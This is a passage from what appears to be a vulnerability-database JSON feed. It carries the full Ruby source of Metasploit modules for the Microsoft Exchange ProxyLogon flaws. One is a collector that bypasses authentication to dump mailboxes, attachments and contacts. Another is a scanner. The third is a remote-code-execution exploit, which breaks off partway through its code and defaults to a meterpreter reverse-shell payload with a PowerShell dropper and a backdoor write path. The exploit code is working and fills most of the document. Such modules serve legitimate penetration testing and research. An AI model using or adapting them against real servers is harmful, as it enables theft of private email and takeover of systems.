of this vulnerability, it is possible to dump all mailboxes (emails, attachments, contacts, ...). This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-09T19:52:01", "type": "metasploit", "title": "Microsoft Exchange ProxyLogon Collector", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2023-01-05T08:38:09", "id": "MSF:AUXILIARY-GATHER-EXCHANGE_PROXYLOGON_COLLECTOR-", "href": "https://www.rapid7.com/db/modules/auxiliary/gather/exchange_proxylogon_collector/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n# begin auxiliary class\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon Collector',\n 'Description' => %q{\n This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication and impersonating as the\n admin (CVE-2021-26855).\n\n By taking advantage of this vulnerability, it is possible to dump all\n mailboxes (emails, attachments, contacts, ...).\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)\n 'GreyOrder', # PoC (https://github.com/GreyOrder)\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Module author independent researcher (work at Zeop Entreprise)\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/'],\n ['URL', 'https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distinguishedfolderid'],\n ['URL', 'https://github.com/3gstudent/Homework-of-Python/blob/master/ewsManage.py']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Actions' => [\n [\n 'Dump (Contacts)', {\n 'Description' => 'Dump user contacts from exchange server',\n 'id_attribute' => 'contacts'\n }\n ],\n [\n 'Dump (Emails)', {\n 'Description' => 'Dump user emails from exchange server'\n }\n ]\n ],\n 'DefaultAction' => 'Dump (Emails)',\n 'Notes' => {\n 'AKA' => ['ProxyLogon'],\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [],\n 'SideEffects' => [IOC_IN_LOGS]\n }\n )\n )\n\n register_options([\n OptBool.new('ATTACHMENTS', [true, 'Dump documents attached to an email', true]),\n OptString.new('EMAIL', [true, 'The email account what you want dump']),\n OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),\n OptEnum.new('METHOD', [true, 'HTTP Method to use for the check (only).', 'POST', ['GET', 'POST']]),\n OptString.new('TARGET', [false, 'Force the name of the internal Exchange server targeted'])\n ])\n\n register_advanced_options([\n OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 2147483647])\n ])\n end\n\n XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze\n\n def dump_contacts(server_name)\n ssrf = \"#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}\"\n\n response = send_xml('POST', ssrf, soap_countitems(action['id_attribute']))\n if response.body =~ /Success/\n print_good(\"Successfuly connected to: #{action['id_attribute']}\")\n xml = Nokogiri::XML.parse(response.body)\n\n folder_id = xml.at_xpath('//t:ContactsFolder/t:FolderId', XMLNS)&.values&.at(0)\n print_status(\"Selected folder: #{action['id_attribute']} (#{folder_id})\")\n\n total_count = xml.at_xpath('//t:ContactsFolder/t:TotalCount', XMLNS)&.content\n print_status(\"Number of contact found: #{total_count}\")\n\n if total_count.to_i > datastore['MaxEntries']\n print_warning(\"Number of contact recalculated due to max entries: #{datastore['MaxEntries']}\")\n total_count = datastore['MaxEntries'].to_s\n end\n\n response = send_xml('POST', ssrf, soap_listitems(action['id_attribute'], total_count))\n xml = Nokogiri::XML.parse(response.body)\n\n print_status(message(\"Processing dump of #{total_count} items\"))\n data = xml.xpath('//t:Items/t:Contact', XMLNS)\n if data.empty?\n print_status('The user has no contacts')\n else\n write_loot(\"#{datastore['EMAIL']}_#{action['id_attribute']}\", data.to_s)\n end\n end\n end\n\n def dump_emails(server_name)\n ssrf = \"#{server_name}/EWS/Exchange.asmx?a=~#{random_ssrf_id}\"\n\n response = send_xml('POST', ssrf, soap_countitems(datastore['FOLDER']))\n if response.body =~ /Success/\n print_good(\"Successfuly connected to: #{datastore['FOLDER']}\")\n xml = Nokogiri::XML.parse(response.body)\n\n folder_id = xml.at_xpath('//t:Folder/t:FolderId', XMLNS)&.values&.at(0)\n print_status(\"Selected folder: #{datastore['FOLDER']} (#{folder_id})\")\n\n total_count = xml.at_xpath('//t:Folder/t:TotalCount', XMLNS)&.content\n print_status(\"Number of email found: #{total_count}\")\n\n if total_count.to_i > datastore['MaxEntries']\n print_warning(\"Number of email recalculated due to max entries: #{datastore['MaxEntries']}\")\n total_count = datastore['MaxEntries'].to_s\n end\n\n print_status(message(\"Processing dump of #{total_count} items\"))\n download_items(total_count, ssrf)\n end\n end\n\n def download_attachments(item_id, ssrf)\n response = send_xml('POST', ssrf, soap_listattachments(item_id))\n xml = Nokogiri::XML.parse(response.body)\n\n xml.xpath('//t:Message/t:Attachments/t:FileAttachment', XMLNS).each do |item|\n item_id = item.at_xpath('./t:AttachmentId', XMLNS)&.values&.at(0)\n\n response = send_xml('POST', ssrf, soap_downattachment(item_id))\n data = Nokogiri::XML.parse(response.body)\n\n filename = data.at_xpath('//t:FileAttachment/t:Name', XMLNS)&.content\n ctype = data.at_xpath('//t:FileAttachment/t:ContentType', XMLNS)&.content\n content = data.at_xpath('//t:FileAttachment/t:Content', XMLNS)&.content\n\n print_status(\" -> attachment: #{item_id} (#{filename})\")\n write_loot(\"#{datastore['EMAIL']}_#{datastore['FOLDER']}\", Rex::Text.decode_base64(content), filename, ctype)\n end\n end\n\n def download_items(total_count, ssrf)\n response = send_xml('POST', ssrf, soap_listitems(datastore['FOLDER'], total_count))\n xml = Nokogiri::XML.parse(response.body)\n\n xml.xpath('//t:Items/t:Message', XMLNS).each do |item|\n item_info = item.at_xpath('./t:ItemId', XMLNS)&.values\n next if item_info.nil?\n\n print_status(\"Download item: #{item_info[1]}\")\n\n response = send_xml('POST', ssrf, soap_downitem(item_info[0], item_info[1]))\n data = Nokogiri::XML.parse(response.body)\n\n email = data.at_xpath('//t:Message/t:MimeContent', XMLNS)&.content\n write_loot(\"#{datastore['EMAIL']}_#{datastore['FOLDER']}\", Rex::Text.decode_base64(email))\n\n attachments = item.at_xpath('./t:HasAttachments', XMLNS)&.content\n if datastore['ATTACHMENTS'] && attachments == 'true'\n download_attachments(item_info[0], ssrf)\n end\n print_status\n end\n end\n\n def message(msg)\n \"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\"\n end\n\n def random_ssrf_id\n # https://en.wikipedia.org/wiki/2,147,483,647 (lol)\n # max. 2147483647\n rand(1941962752..2147483647)\n end\n\n def request_autodiscover(server_name)\n xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }\n\n response = send_xml('POST', \"#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}\", soap_autodiscover)\n\n case response.body\n when %r{<ErrorCode>500</ErrorCode>}\n fail_with(Failure::NotFound, 'No Autodiscover information was found')\n when %r{<Action>redirectAddr</Action>}\n fail_with(Failure::NotFound, 'No email address was found')\n end\n\n xml = Nokogiri::XML.parse(response.body)\n\n legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content\n fail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.blank?\n\n server = ''\n owa_urls = []\n xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|\n type = item.at_xpath('./xmlns:Type', xmlns)&.content\n if type == 'EXCH'\n server = item.at_xpath('./xmlns:Server', xmlns)&.content\n end\n\n next unless type == 'WEB'\n\n item.xpath('./xmlns:Internal/xmlns:OWAUrl', xmlns).each do |owa_url|\n owa_urls << owa_url.content\n end\n end\n fail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty?\n fail_with(Failure::NotFound, 'No \\'OWAUrl\\' was found') if owa_urls.empty?\n\n return([server, legacy_dn, owa_urls])\n end\n\n def send_http(method, ssrf, data: '', ctype: 'application/x-www-form-urlencoded')\n request = {\n 'method' => method,\n 'uri' => @random_uri,\n 'cookie' => \"X-BEResource=#{ssrf};\",\n 'ctype' => ctype\n }\n request = request.merge({ 'data' => data }) unless data.empty?\n\n received = send_request_cgi(request)\n fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received\n\n received\n end\n\n def send_xml(method, ssrf, data, ctype: 'text/xml; charset=utf-8')\n send_http(method, ssrf, data: data, ctype: ctype)\n end\n\n def soap_autodiscover\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\n <Request>\n <EMailAddress>#{datastore['EMAIL']}</EMailAddress>\n <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\n </Request>\n </Autodiscover>\n SOAP\n end\n\n def soap_countitems(folder_id)\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetFolder>\n <m:FolderShape>\n <t:BaseShape>Default</t:BaseShape>\n </m:FolderShape>\n <m:FolderIds>\n <t:DistinguishedFolderId Id=\"#{folder_id}\">\n <t:Mailbox>\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:FolderIds>\n </m:GetFolder>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_listattachments(item_id)\n <<~SOAP\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetItem>\n <m:ItemShape>\n <t:BaseShape>IdOnly</t:BaseShape>\n <t:AdditionalProperties>\n <t:FieldURI FieldURI=\"item:Attachments\" />\n </t:AdditionalProperties>\n </m:ItemShape>\n <m:ItemIds>\n <t:ItemId Id=\"#{item_id}\" />\n </m:ItemIds>\n </m:GetItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_listitems(folder_id, max_entries)\n <<~SOAP\n <?xml version='1.0' encoding='utf-8'?>\n <soap:Envelope\n xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\n xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'\n xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'\n xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>\n <soap:Body>\n <m:FindItem Traversal='Shallow'>\n <m:ItemShape>\n <t:BaseShape>AllProperties</t:BaseShape>\n </m:ItemShape>\n <m:IndexedPageItemView MaxEntriesReturned=\"#{max_entries}\" Offset=\"0\" BasePoint=\"Beginning\" />\n <m:ParentFolderIds>\n <t:DistinguishedFolderId Id='#{folder_id}'>\n <t:Mailbox>\n <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>\n </t:Mailbox>\n </t:DistinguishedFolderId>\n </m:ParentFolderIds>\n </m:FindItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_downattachment(item_id)\n <<~SOAP\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetAttachment>\n <m:AttachmentIds>\n <t:AttachmentId Id=\"#{item_id}\" />\n </m:AttachmentIds>\n </m:GetAttachment>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def soap_downitem(id, change_key)\n <<~SOAP\n <?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\"\n xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\"\n xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Body>\n <m:GetItem>\n <m:ItemShape>\n <t:BaseShape>IdOnly</t:BaseShape>\n <t:IncludeMimeContent>true</t:IncludeMimeContent>\n </m:ItemShape>\n <m:ItemIds>\n <t:ItemId Id=\"#{id}\" ChangeKey=\"#{change_key}\" />\n </m:ItemIds>\n </m:GetItem>\n </soap:Body>\n </soap:Envelope>\n SOAP\n end\n\n def write_loot(type, data, name = '', ctype = 'text/plain')\n loot_path = store_loot(type, ctype, datastore['RHOSTS'], data, name, '')\n print_good(\"File saved to #{loot_path}\")\n end\n\n def run\n @proto = (ssl ? 'https' : 'http')\n @random_uri = normalize_uri('ecp', \"#{Rex::Text.rand_text_alpha(1..3)}.js\")\n\n print_status(message('Attempt to exploit for CVE-2021-26855'))\n\n # request for internal server name.\n response = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\")\n if response.code != 500 || !response.headers.to_s.include?('X-FEServer')\n fail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found')\n end\n server_name = response.headers['X-FEServer']\n print_status(\"Internal server name (#{server_name})\")\n\n # get informations by autodiscover request.\n print_status(message('Sending autodiscover request'))\n server_id, legacy_dn, owa_urls = request_autodiscover(server_name)\n\n print_status(\"Server: #{server_id}\")\n print_status(\"LegacyDN: #{legacy_dn}\")\n print_status(\"Internal target(s): #{owa_urls.join(', ')}\")\n\n # selecting target\n print_status(message('Selecting the first internal server to respond'))\n if datastore['TARGET'].nil? || datastore['TARGET'].empty?\n target = ''\n owa_urls.each do |url|\n host = url.split('://')[1].split('.')[0].downcase\n next unless host != server_name.downcase\n\n response = send_http('GET', \"#{host}/EWS/Exchange.asmx?a=~#{random_ssrf_id}\")\n next unless response.code == 200\n\n target = host\n print_good(\"Targeting internal: #{url}\")\n\n break\n end\n fail_with(Failure::NotFound, 'No internal target was found') if target.empty?\n else\n target = datastore['TARGET']\n print_good(\"Targeting internal forced to: #{target}\")\n end\n\n # run action\n case action.name\n when /Dump \\(Contacts\\)/\n print_status(message(\"Attempt to dump contacts for <#{datastore['EMAIL']}>\"))\n dump_contacts(target)\n when /Dump \\(Emails\\)/\n print_status(message(\"Attempt to dump emails for <#{datastore['EMAIL']}>\"))\n dump_emails(target)\n end\n end\n\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/gather/exchange_proxylogon_collector.rb", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-24T08:37:41", "description": "This module scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855). By chaining this bug with another post-auth arbitrary-file-write vulnerability to get code execution (CVE-2021-27065). As a result, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-07T13:37:20", "type": "metasploit", "title": "Microsoft Exchange ProxyLogon Scanner", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2022-02-23T22:27:12", "id": "MSF:AUXILIARY-SCANNER-HTTP-EXCHANGE_PROXYLOGON-", "href": "https://www.rapid7.com/db/modules/auxiliary/scanner/http/exchange_proxylogon/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\n# begin auxiliary class\nclass MetasploitModule < Msf::Auxiliary\n include Msf::Exploit::Remote::HttpClient\n include Msf::Auxiliary::Scanner\n include Msf::Auxiliary::Report\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon Scanner',\n 'Description' => %q{\n This module scan for a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication and impersonating as the\n admin (CVE-2021-26855).\n\n By chaining this bug with another post-auth arbitrary-file-write\n vulnerability to get code execution (CVE-2021-27065).\n\n As a result, an unauthenticated attacker can execute arbitrary commands on\n Microsoft Exchange Server.\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Module author (Zeop Entreprise)\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'RPORT' => 443,\n 'SSL' => true\n },\n 'Notes' => {\n 'AKA' => ['ProxyLogon'],\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [],\n 'SideEffects' => [IOC_IN_LOGS]\n }\n )\n )\n\n register_options([\n OptEnum.new('METHOD', [true, 'HTTP Method to use for the check.', 'POST', ['GET', 'POST']])\n ])\n end\n\n def message(msg)\n \"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\"\n end\n\n def run_host(target_host)\n @proto = (ssl ? 'https' : 'http')\n\n uri = normalize_uri('ecp', \"#{Rex::Text.rand_text_alpha(1..3)}.js\")\n received = send_request_cgi({\n 'method' => datastore['METHOD'],\n 'uri' => uri,\n 'cookie' => 'X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;'\n })\n unless received\n print_error(message('No response, target seems down.'))\n\n return Exploit::CheckCode::Unknown\n end\n\n if received && (received.code != 500 && received.code != 503)\n print_error(message('The target is not vulnerable to CVE-2021-26855.'))\n vprint_error(\"Obtained HTTP response code #{received.code} for #{full_uri(uri)}.\")\n\n return Exploit::CheckCode::Safe\n end\n\n if received.headers['X-CalculatedBETarget'] != 'localhost'\n print_error(message('The target is not vulnerable to CVE-2021-26855.'))\n vprint_error('Could\\'t obtain a correct \\'X-CalculatedBETarget\\' in the response header.')\n\n return Exploit::CheckCode::Safe\n end\n\n print_good(message('The target is vulnerable to CVE-2021-26855.'))\n msg = \"Obtained HTTP response code #{received.code} for #{full_uri(uri)}.\"\n vprint_good(msg)\n\n report_vuln(\n host: target_host,\n name: name,\n refs: references,\n info: msg\n )\n\n Exploit::CheckCode::Vulnerable\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/exchange_proxylogon.rb", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-10-30T22:48:05", "description": "This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-12T23:49:45", "type": "metasploit", "title": "Microsoft Exchange ProxyLogon RCE", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-11-10T00:12:38", "id": "MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_PROXYLOGON_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/http/exchange_proxylogon_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n\n include Msf::Exploit::CmdStager\n include Msf::Exploit::FileDropper\n include Msf::Exploit::Powershell\n include Msf::Exploit::Remote::CheckModule\n include Msf::Exploit::Remote::HttpClient\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Exchange ProxyLogon RCE',\n 'Description' => %q{\n This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker bypassing the authentication, impersonating as the\n admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,\n Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,\n Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).\n\n All components are vulnerable by default.\n },\n 'Author' => [\n 'Orange Tsai', # Dicovery (Officially acknowledged by MSRC)\n 'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull)\n 'mekhalleh (RAMELLA S\u00e9bastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise)\n 'print(\"\")', # https://www.o2oxy.cn/3169.html\n 'lotusdll', # https://twitter.com/lotusdll/status/1371465073525362691\n 'Praetorian' # # Vulnerability analysis + PoC\n ],\n 'References' => [\n ['CVE', '2021-26855'],\n ['CVE', '2021-27065'],\n ['LOGO', 'https://proxylogon.com/images/logo.jpg'],\n ['URL', 'https://proxylogon.com/'],\n ['URL', 'http://aka.ms/exchangevulns'],\n ['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'],\n [\n 'URL',\n 'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265'\n ],\n ['URL', 'https://www.o2oxy.cn/3169.html'],\n ['URL', 'https://github.com/praetorian-inc/proxylogon-exploit'],\n ['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup']\n ],\n 'DisclosureDate' => '2021-03-02',\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon',\n 'HttpClientTimeout' => 60,\n 'RPORT' => 443,\n 'SSL' => true,\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n },\n 'Platform' => ['windows'],\n 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Windows Powershell',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_powershell,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'\n }\n }\n ],\n [\n 'Windows Dropper',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_X64, ARCH_X86],\n 'Type' => :windows_dropper,\n 'CmdStagerFlavor' => %i[psh_invokewebrequest],\n 'DefaultOptions' => {\n 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',\n 'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'\n }\n }\n ],\n [\n 'Windows Command',\n {\n 'Platform' => 'windows',\n 'Arch' => [ARCH_CMD],\n 'Type' => :windows_command,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n }\n }\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'Reliability' => [REPEATABLE_SESSION],\n 'AKA' => ['ProxyLogon']\n }\n )\n )\n\n register_options([\n OptString.new('EMAIL', [true, 'A known email address for this organization']),\n OptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]),\n OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false])\n ])\n\n register_advanced_options([\n OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),\n OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']),\n OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']),\n OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']),\n OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),\n OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),\n OptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]),\n OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', Rex::UserAgent.session_agent])\n ])\n end\n\n def cmd_windows_generic?\n 